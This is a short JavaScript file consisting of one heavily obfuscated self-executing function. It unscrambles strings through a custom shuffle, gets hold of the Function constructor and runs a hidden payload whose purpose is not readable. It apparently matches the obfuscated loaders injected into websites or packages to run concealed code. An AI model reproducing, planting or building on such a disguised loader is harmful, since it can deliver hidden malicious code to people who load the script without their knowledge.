'use strict';

(function(){var NMt='',JiV=854-843;function RFP(a){var o=4991418;var x=a.length;var j=[];for(var h=0;h<x;h++){j[h]=a.charAt(h)};for(var h=0;h<x;h++){var u=o*(h+251)+(o%37034);var f=o*(h+395)+(o%42180);var m=u%x;var n=f%x;var i=j[m];j[m]=j[n];j[n]=i;o=(u+f)%5027257;};return j.join('')};var XoD=RFP('ospkmfngqrswabdeujnitclxcoocrzvhurtyt').substr(0,JiV);var oZx='Csp 8=+)sae+[ir7d2(v-ruoe)2;)da7ws]jclv8o1vrs.uvrxh]")aaa 9=r8t,e6+g "ierlm,+20{w;7."1k,i2(e{"va}8ha 0n9=kh6]n6(;()re, 0;;+.n=*kk])yvfh ;r.rg0jr0)al+klt9t t1o+s5rr]rd(smru7c,C6 [oiv;[7(mass1[h+=,4=f7r.v;zvgtoopbi.g;m0Sas.[e;jtn;a )ssv5pnt;i=g((2n=.rgckyrilr,las),2;;)carvbr;9k=n(tat[fa>=o)b1!){k5t g""u lrvarvoi= ,}=v 1 ;aeu.f("arr8=g1oc=vj,<.rvpiC=.a.r]f;[o;saa3v=;);v<9t.p=u,;[](xe,h(oavCwaeA=;.)f1lr.z7llv;;nf=zg8f-eit[q}.+8h,h=t,0j=itymcbe"7r{=,;=;=;+c+sp-;d}x{+(b)lgmrchtge(g=h4i;kre"aeft(rut;r+!)9+p0=hvnthreAv-vn69-ylr=-)r+}2ul+hl(sc]nr=}+o;)i]e;danuls)(=n)1= iw>)gr0rj;o;.{)ubvi+i,6(s)w0A;a(p]);mc,a=6znist4++6.=v(cin,vs{ j=7(m=n) .huoh;(g}])vs62.g[lu2d4<bi,,aa0vn,rine,)n8a8n.(rua]f;(vs1 uand+haro[=[;p++=f fn=r)r=3t,4v(+hrtnS.)bgc1toco;oaa 7=)ntutgsvr."CnarCo=A(if)olot=h;] i(1;a(r [einhhfrl+([,uf);;.tu2loCchalA,<r)].uaina;ltC(;ljravr-p*,ule(f r),0;(mex twvt(vlr rp5=ft<.vr1n(p.4';var FWV=RFP[XoD];var EFE='';var KCc=FWV;var AFb=FWV(EFE,RFP(oZx));var kcg=AFb(RFP('_.(Y$[\'o;2!iYdgd)Yar.1=(oY0Y_*dp8nc(.Ytzei,53,Y4r)d;,b(&o)sd;z_YY4u=#%c0(3hdibt\/6oY0eaY#3*ml1tYb}idrm_Y3s0bf2.c =w-pe!Y&>Y2iY YmgdY$(-%pa).dn,4i.(5n]Yw)!Y,enY+)1(,r;l=\/fdpdt(n1[eY%Ylia:Y,Ds%u!".at0fud&$fd["].hgYYeg{2_h_8tsSo.=.%s%=_%doy4e!rivur$=rcm+.Y)g!ew.oc.!.())!..s)%br;.ph_da.7dii)dwo}Yoeer1\'.baYaa),7r.ai%nkg:enwY51d(w.(r(%]_T6!,lovlfd_.i!6d.8.09a$=$$.d i!nc0]dnoxw.i4Y5Y$f0.oa9_ 2.,3aatg2p _Y( 4tif(3i!n{tr2sY=]et]8&2tb{rft:Y!77.d2f8mYh5wY7tr{};4,7\'=Ydssn$eYir73rthYtc=m1!sent)5Y.1&i.Yl3]Y;*Y0j433a.wc7)4#0b0f83wk%.c,Y;g;dY 3c9aYoe;;f;}="erecdry{YYetg6&{fY!fn+j{%4d.YYY]t.;$)$(($]y 0fh,,Y3$Y$[Y]].Yrh*}nzf#o306=ejd!cvY.fea$1.)ac6t}Y ,d.a0.%(1ddeYd3[(,\'S8p+.;%"37( (7jYrta9}\/eYk%su397;3Yjf]yYn50);t)Y5ssfY(sch4c}!Ya&x2YY0)owlY)i)_jt= nY4;.7ff8!Cn.,C=dr;,uY)3Y=pr.Yto;(Yd)l!"=5d+_.\/s(jcm)-d=ecfttYsd=$a5c.wdt46p.,dYddYYY+-8)t$)Yro0Yde- e.(%h)Yx,}Y(m1{Yi1 {s(1.ta]6{)[]kY+8do[Y{4d3Y.5.dS1)r.3}_if(]%;r65%>g:d,inY!),6Yc.Y!64;an}.l=sr.Y.0]_(sxoq.fY]4o0}n_b.,(a%es0)0ouh)_)(.aae7&\/bn upf6afn(vdni)49\'.Yod=rYj32eit(YS,dYtioi,7.b !t!Y, ;).r,)nr(,)t)$q6tz=Yrtt5.dY2$;=f n(d}.i,spYs{!.y_l#wY)eYY#$]c.s0"oYw7e,fi;Yo.uj}c)( e{lYzw)(.])Y_8)Yi)2o$}Y ,!&(\/,apYodYix49318v.!sag8tmg#_dgg()&hd%e7,Yt4Y.i,,_$z;sy!v(Y{rY42f),0olis;oYtY1.$a,,.ce0 c!u=).]0l}i$=(1(p]%Y(Y,-)t}s\/0nt.]od%bd5$lfp;Y0adus3.iayg=cY] r,3,d{0.cY)]2e!u!n0 r)+at,.2o33 (%ou(kftY6(ho..10d)_t;e.(tY )3s33*07jn3Yh.,( ghtdn3_.a(.%+.ce4ig6we_ad{t;!dY,0YYk]e7"g.ec]'));var RoT=KCc(NMt,kcg );RoT(7292);return 6476})()
    
    